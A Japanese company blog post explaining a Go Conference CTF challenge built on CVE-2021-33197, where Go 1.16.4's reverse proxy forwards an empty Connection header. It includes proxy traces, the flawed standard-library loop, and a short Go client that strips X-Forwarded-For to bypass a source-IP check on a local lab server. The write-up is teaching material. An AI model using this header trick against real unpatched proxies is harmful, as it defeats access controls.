エンジニアの佐野です。Go Conference 2021 Autumn にて Kanmu はスポンサー枠をいただき、オフィスアワーの催しで Go x セキュリティというコンセプトの CTF のような問題を用意させていただきました。
問題はこちら "Go" beyond your proxy になります。
github.com
The Go gopher was designed by Renee French.
当日解けなかった人やこのブログを読んで興味が沸いた人もチャレンジしてみてください。
問題を簡単に説明すると、 Go 1.16.4 で書かれたリバースプロキシの背後の HTTP サーバに flag.txt というファイルが置かれています。このファイルには簡単なアクセス制限が施されているのですが、それを突破してそのファイルの中身を参照して解答してください、というものになります。
Go 1.16.4 には CVE-2021-33197 の脆弱性が含まれていて Go の issue にも上がっています(次のバージョンである 1.16.5 で Fix されています)。この脆弱性を利用してアクセス制限を突破するというのが想定解法になります。
※ 蛇足になりますがこのようにアプリケーションレイヤーにて送信元IPでアクセスコントロールすることはおすすめしません
本記事では出題の意図、問題の解説と解き方、問題を作るときに考えていたことを書きます。
- 出題の意図
- 問題の解説と想定解法
- 問題を作るときに考えていたこと
- 小ネタ
- おわりに
1. 出題の意図
出題の意図としては Go に潜むセキュリティ issue を知ってもらい、実際にその脆弱性を突いたハックを体験してもらうことになります。
この問題を通して、
- Go 本体にセキュリティ issue が潜んでいることを知る
- Go の標準ライブラリを読む
という経験を積んでもらえていたら幸いです。
1.1 Go 本体に潜むセキュリティ issue
Go 本体にもセキュリティ関連の issue は報告されていて随時その修正がされています。試しに Go のコミットログから "CVE" という文字列を検索してみます。
git log -i --grep 'cve' --oneline
61536ec030 debug/macho: fail on invalid dynamic symbol table command
77f2750f43 misc/wasm, cmd/link: do not let command line args overwrite global data
5abfd2379b [dev.fuzz] all: merge master (65f0d24) into dev.fuzz
bacbc33439 archive/zip: prevent preallocation check from overflowing
b7a85e0003 net/http/httputil: close incoming ReverseProxy request body
a98589711d crypto/tls: test key type when casting
aa4da4f189 [dev.cmdgo] all: merge master (912f075) into dev.cmdgo
ad7e5b219e [dev.typeparams] all: merge master (4711bf3) into dev.typeparams
f9d50953b9 net: fix failure of TestCVE202133195
0e39cdc0e9 [dev.typeparams] all: merge master (8212707) into dev.typeparams
106851ad73 [dev.fuzz] all: merge master (dd7ba3b) into dev.fuzz
dd7ba3ba2c net: don't rely on system hosts in TestCVE202133195
cdcd02842d net: verify results from Lookup* are valid domain names
950fa11c4c net/http/httputil: always remove hop-by-hop headers
74242baa41 archive/zip: only preallocate File slice if reasonably sized
c89f1224a5 net: verify results from Lookup* are valid domain names
a9cfd55e2b encoding/xml: replace comments inside directives with a space
4d014e7231 encoding/xml: handle leading, trailing, or double colons in names
d0b79e3513 encoding/xml: prevent infinite loop while decoding
cd3b4ca9f2 archive/zip: fix panic in Reader.Open
953d1feca9 all: introduce and use internal/execabs
46e2e2e9d9 cmd/go: pass resolved CC, GCCGO to cgo
d95ca91380 crypto/elliptic: fix P-224 field reduction
dea6d94a44 math/big: add test for recursive division panic
062e0e5ce6 cmd/go, cmd/cgo: don't let bogus symbol set cgo_ldflag
1e1fa5903b math/big: fix shift for recursive division
64fb6ae95f runtime: stop preemption during syscall.Exec on Darwin
4f5cd0c033 net/http/cgi,net/http/fcgi: add Content-Type detection
027d7241ce encoding/binary: read at most MaxVarintLen64 bytes in ReadUvarint
fa98f46741 net/http: synchronize "100 Continue" write and Handler writes
82175e699a crypto/x509: respect VerifyOptions.KeyUsages on Windows
b13ce14c4a src/go.mod: import x/crypto/cryptobyte security fix for 32-bit archs
953bc8f391 crypto/x509: mitigate CVE-2020-0601 verification bypass on Windows
552987fdbf crypto/dsa: prevent bad public keys from causing panic
41b1f88efa net/textproto: don't normalize headers with spaces before the colon
145e193131 net/http: update bundled golang.org/x/net/http2 to import security fix
61bb56ad63 net/url: make Hostname and Port predictable for invalid Host values
12279faa72 os: pass correct environment when creating Windows processes
9b6e9f0c8c runtime: safely load DLLs
193c16a364 crypto/elliptic: reduce subtraction term to prevent long busy loop
1102616c77 cmd/go: fix command injection in VCS path
1dcb5836ad cmd/go: accept only limited compiler and linker flags in #cgo directives
2d1bd1fe9d syscall: fix Exec on solaris
91139b87f7 runtime, syscall: workaround for bug in Linux's execve
8d1d9292ff syscall: document that Exec wraps execve(2)
cad4e97af8 [release-branch.go1.7] net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
b97df54c31 net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
84cfba17c2 runtime: don't always unblock all signals
eeb8d00c86 syscall: work around FreeBSD execve kernel bug
本問題の修正コミットである 950fa11c4c net/http/httputil: always remove hop-by-hop headers
に加えて他の修正も多くヒットします。
ちなみにちょうど先日 Go 1.17.3, 1.16.10 がリリースされましたがこれらにもセキュリティ Fix が含まれていました。
セキュリティ関連のバグというと言語そのものよりもその言語を利用して実装されたウェブサーバやデータベースなどのミドルウェア、OS、その他ソフトウェアなどに注目しがちですが、言語自体にもセキュリティの問題は潜んでいることがあります。
私が書いた問題のコード自体にもバグはなかった(はず)です。しかしバグは Go の標準ライブラリの方に含まれている、というのがこの問題を解くポイントです。
1.2 Go の標準ライブラリを読む
issue とその修正 PR を見てみます。本問題の肝となっている issue とそれに対応する PR が下記なのですが、これらが問題を解くための最大のヒントになります。
github.com
github.com
詳しい解説は次の「問題の解説と想定解法」でしますが、この issue と修正コミットおよびそのテストコードから、
- そもそも Connection ヘッダの仕様として、任意のヘッダ名を値に入れるとそのヘッダを消すことができる
- 同じく Connection ヘッダの仕様として、Connection ヘッダは Proxy を経由する際にはそれ自体が削除される
- しかし Go 1.16.4 では空の Connection ヘッダをリバースプロキシに送りつけるとそのまま背後のサーバに到達させることができる
- Abusing HTTP hop-by-hop request headers という攻撃手法がある
- 脆弱性を利用すると X-Forwarded-For を消すことができそうだ
といったことを読み取ることができます。本問題を解くためには Go の net/http/httputil パッケージとそのテストコードを少し読む必要があります。
2. 問題の解説と想定解法
私が想定した解答へのルートは次の流れの通りです。
- サーバにリクエストを投げつつ問題のソースを読んでみる
- Go のバージョンを特定する(気づく)
- Go のバージョンに潜む脆弱性を確認して issue にたどり着く
- issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる
- 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける
「3. 問題を作るときに考えていたこと」で書きますが、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?というのが作問中の悩みでした。ヒントでいきなり issue を教えると簡単すぎる、しかし issue にたどり着けないと明後日の方向のアプローチをしてしまう。最初のヒントで Go 1.16.4 を強調したのはこのためです。
2.1 サーバにリクエストを投げつつ問題のソースを読んでみる
docker run でサーバを起動したら単純に 8000 番ポートにリクエストを投げてみます。以下のようなトレースが出力されます。
========================================================
Welcome to Kanmu Office hour @ Go Conference 2021 Autumn
"Go" beyond your proxy! Go version: go1.16.4
---------------- Front Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
--- Front Proxy が受信した RemoteAddr ---
RemoteAddr: 172.17.0.1:58588
---------------- Middle Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1
--- Middle Proxy が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:38448
---------------- Backend Server ------------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1, 127.0.0.1
--- Backend Server が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:51188
--- 最終的な X-Forwarded-For と送信元IP ---
X-Forwarded-For: 172.17.0.1, 127.0.0.1
Source IP: 172.17.0.1
残念!送信元IP が 127.0.0.1 になるようにリクエストを送ってください!(172.17.0.1 != 127.0.0.1)
==========================
トレースを見つつ、問題のソースを読んでみると backend に到達したときの Source IP が 127.0.0.1 であればフラグが取れるということがわかります。コードの解説と模式図はヒントに書いた通りです。
人によっては送信元IPを変更してリクエストを送信してみたり、X-Forwarded-For を送りつけてみたりしたかもしれませんが、問題のコード自体にはおそらくバグはないはずです。
2.2 Go のバージョンを特定する(気づく)
1.16.4 を使っていることに気づいてもらいます。docker run 実行時、ヒント、go.mod の中身などバージョンを知ることができる箇所はいくつかあります。
2.3 Go のバージョンに潜む脆弱性を確認して issue にたどり着く
こちらについては検索します。Go 1.16.4 について Google 検索, issue の探索, Goのリリースノートを調べるなどなんでも良いです。「検索かよ...」と思う人もいるかもしれませんが、使われているソフトウェアのバージョンを調べてそれに関する既知の問題を調べるのはオフェンシブセキュリティという文脈では正攻法の一つになります。
2.4 issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる
Go 1.16.4 やリバースプロキシについて調べていると issue にたどり着くことができます。たどり着けずにヒントが出たことで辿れた人もいるかもしれません。たどり着いたら issue を読みます。
github.com
issue を見るとまず Connection ヘッダの説明が書かれています。プロキシによって Connection ヘッダは削除されること。また Connection ヘッダに値としてセットされているヘッダも同様に削除されること。そしてこの issue によると X-Forwarded-For のようなヘッダをドロップできるかもしれないと示唆するとともに、Abusing HTTP hop-by-hop request headers というタイトルの記事のリンクが貼られています。
そしてこの issue から辿れる PR にはこの issue の修正コミットとそのテストコードが追加されています。
github.com
テストコードを読んでみると frontend と backend 2つの HTTP サーバを起動しています。frontend は NewSingleHostReverseProxy を使ってバックエンドにリクエストを転送するような構成になっています。本問題では front, middle, backend の多段構成ですが、これと非常に似ています。
テストコードは何を確認しているでしょうか?テストするにあたり、空の値を持つ Connection ヘッダを送信していること、Connection ヘッダの値として X-Some-Conn-Header をセットして送信していることがわかります。そして Connection ヘッダとその値は backend では削除されることを確認しています。
そして当の標準ライブラリの修正はどうでしょうか?以下のあたりが消されていますね。
for _, h := range hopHeaders {
hv := outreq.Header.Get(h)
if hv == "" {
continue
}
if h == "Te" && hv == "trailers" {
continue
}
outreq.Header.Del(h)
}
これは hopHeaders (Connectionヘッダなど hop-by-hop header 一式が定義されている)の値を取得して削除するが、その値が空だったら削除しない、という処理をしています。つまり本来であれば Connection ヘッダは転送する際には削除するべきなのですが、空の値が含まれていたらそれは削除せずにそのまま転送するという処理になっていたようです。
2.5 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける
ここまでで、
- [仕様] Connection ヘッダはその値に含まれているヘッダを消す
- [バグ] 普通は裏側には Connection ヘッダ自体を転送しないが、空の値を持たせると削除されずに転送してしまう
ということがわかりました。ということで以下のようなコードで空の Connection ヘッダと、 Connection: X-Forwarded-For を送ってみましょう。
package main
import (
"bytes"
"fmt"
"io"
"log"
"net/http"
)
func main() {
req, err := http.NewRequest("GET", "http://localhost:8000/flag.txt", nil)
if err != nil {
log.Fatal(err)
}
req.Header.Add("Connection", "")
req.Header.Add("Connection", "X-Forwarded-For")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
bb := &bytes.Buffer{}
io.Copy(bb, resp.Body)
fmt.Println(bb.String())
}
あっさりフラグが取れました。Connection ヘッダが裏側まで届き、Connection: X-Forwarded-For が設定されていることで X-Forwarded-For が削除されました。
フラグはこのURLですね。本記事の冒頭の Gopher くんと正解のメッセージが現れます。
https://gocon2021autumn-ctf-flag.net/
3. 問題を作るときに考えていたこと
ここから先は裏話になります。このような問題を考えることは初めてだったのでいろいろ考えをする必要がありました。その際に考えていたことを書いてみます。要約すると次のようなことを考えながら問題および当日のヒントを考えました。
- CTF といっても Go を中心にした問題にすること
- 前回よりも少し難易度を高めること
- 最終的に全員が解ける問題にすること
- いかに Go 1.16.4 の issue に誘導するか
3.1 CTFといっても Go を中心にした問題にすること
Go Conference ということもあり基本的には Go の問題であるべきです。しかしながらそこにセキュリティを絡めた CTF のような問題を作れるだろうか?と悩みました。
先ほど、ソフトウェアのバージョンから既知の脆弱性を調べるのはセキュリティの攻撃の世界では正攻法であると書きました。なんか良いバグないかな?と Go のコミットログを眺めていたら割と最近でしかも扱いやすいリバースプロキシの修正コミットがありました。
この問題を作ることができたのはちょうど良い issue があったということに尽きます。他にもいくつか問題を考えたのですが、どうしても Go というよりは Linux のテクニックの問題になってしまったりしてちょうどいい問題を作るのにいくらか難儀しました。
3.2 前回よりも少し難易度を高めること
カンムは前回の Go Conference 2021 Spring でも CTF 様式の問題を出題しております。以下が前回の問題の解説記事なのですが、
tech.kanmu.co.jp
次回機会があれば strings だけでは倒せない歯ごたえがある問題も用意しようと思うので、今回興味を持ってもらえた方はぜひ CTF に入門して倒せるように鍛えてきてください!
と書き残していました。ということで今回は少し骨のある問題を用意しようと思って問題を作成しました。
Go のソースは読める+HTTPの知識がある程度ある人というレベル感にしましたが、HTTP と題材であるリバースプロキシの知識については知らない人であっても挑戦しやすいようにヒントに説明を書きました。あの説明で伝わっていれば幸いです。
3.3 最終的に全員が解ける問題にすること
本丸は登壇者のトークなのでそれを邪魔しない程度の分量、難易度にすべきと考えました。「ほーら、解けねーだろ(笑)」という問題ではなく、こちらがヒントを出して解答に誘導しつつも最終的には全員が解ける問題になるように作問しました。
重要なのは本問題を通して Go のセキュリティに関心を持ってもらうことと、Go の標準ライブラリのコードや issue を読むという体験をしてもらうことです。
3.4 いかに Go 1.16.4 の issue に誘導するか
作問中、そして本番での運営では、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?に頭を悩ませました。プロトタイプを CTO に解いてもらってのですが、最初にもらったフィードバックは、
- 脆弱性を調べるという発想がないと明後日の方向のアプローチをしてしまいそう
- ふつうの人は脆弱性を自主的に探しにいかなそう
-とりあえず Go のソース読むかということで自分は進めたけど、まず初心者の人にはそこでとまってしまいそう
- そもそも HTTP ヘッダーの仕組みを理解してるか、知っていたとして細工した HTTP リクエスト投げれるか
- Issue とか全部英語なのでそこにもハードルがありそう
などでした。
当日の運営では開始直後にいきなりヒントを出し、そこでバージョンと脆弱性の存在を匂わせる形にしました。そこからタイムラインなどの様子を見て次のヒントを考えて誘導していこう、と話をしていました。
4. 小ネタ
4.1 コミットID
3319700 になっているのですがこれは CVE-2021-33197 に合わせました。
こちらのツールを使うことでコミットIDを好きなものに変更できます。
github.com
4.2 正解のページの Gopher くんは何?
わたしの手書きです。わたしがハッカーっぽい Gopher くんを書いて CTO がそれに魂を吹き込んでくれて本記事の冒頭にも載っている闇の底から覗く Gopher くんができあがりました。
The Go gopher was designed by Renee French.
5. おわりに
Twitter などを見ると今回も多くの方に解いていただけました。作問担当としては感無量です!ありがとうございます!
そしてお約束の宣伝をさせてください。カンムでは Go やセキュリティに関心のあるエンジニア、もちろんそれ以外の職種も募集しております!
kanmu.co.jp
GoCon の運営の皆様、参加してくださった皆様ありがとうございました!
おわり